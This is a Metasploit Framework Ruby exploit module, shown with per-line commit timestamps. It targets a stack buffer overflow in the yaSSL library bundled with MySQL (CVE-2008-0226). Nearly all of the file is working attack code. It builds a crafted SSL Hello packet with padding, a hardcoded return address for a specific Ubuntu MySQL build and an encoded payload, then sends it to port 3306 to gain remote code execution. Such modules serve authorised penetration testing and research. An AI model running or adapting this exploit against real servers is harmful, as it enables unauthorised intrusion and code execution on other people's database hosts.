2008-04-01 11:22:32 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-04-01 11:22:32 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-04-01 11:22:32 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-04-01 11:22:32 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-04-01 11:22:32 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2008-04-01 11:22:32 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-04-01 11:22:32 +00:00
|
|
|
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
|
2010-04-30 08:40:19 +00:00
|
|
|
implementation bundled with MySQL <= 6.0. By sending a specially crafted
|
|
|
|
Hello packet, an attacker may be able to execute arbitrary code.
|
2008-04-01 11:22:32 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-0226' ],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '41195' ],
|
|
|
|
[ 'BID', '27140' ],
|
2008-04-01 11:22:32 +00:00
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 100,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
},
|
|
|
|
'Platform' => 'linux',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2008-04-01 11:22:32 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
|
2008-04-01 11:22:32 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Jan 4 2008'))
|
2008-04-01 11:22:32 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3306)
|
|
|
|
], self.class)
|
2008-04-01 11:22:32 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-04-01 11:22:32 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
sock.get_once
|
|
|
|
|
|
|
|
req_uno = [0x01000020].pack('V')
|
|
|
|
|
|
|
|
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
|
|
|
|
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
|
|
|
|
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
|
|
|
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
|
|
|
|
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
|
|
|
|
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
|
|
|
|
req_dos << [target.ret].pack('V') + payload.encoded
|
|
|
|
req_dos << rand_text_alphanumeric(1024)
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sock.put(req_uno)
|
|
|
|
sock.put(req_dos)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|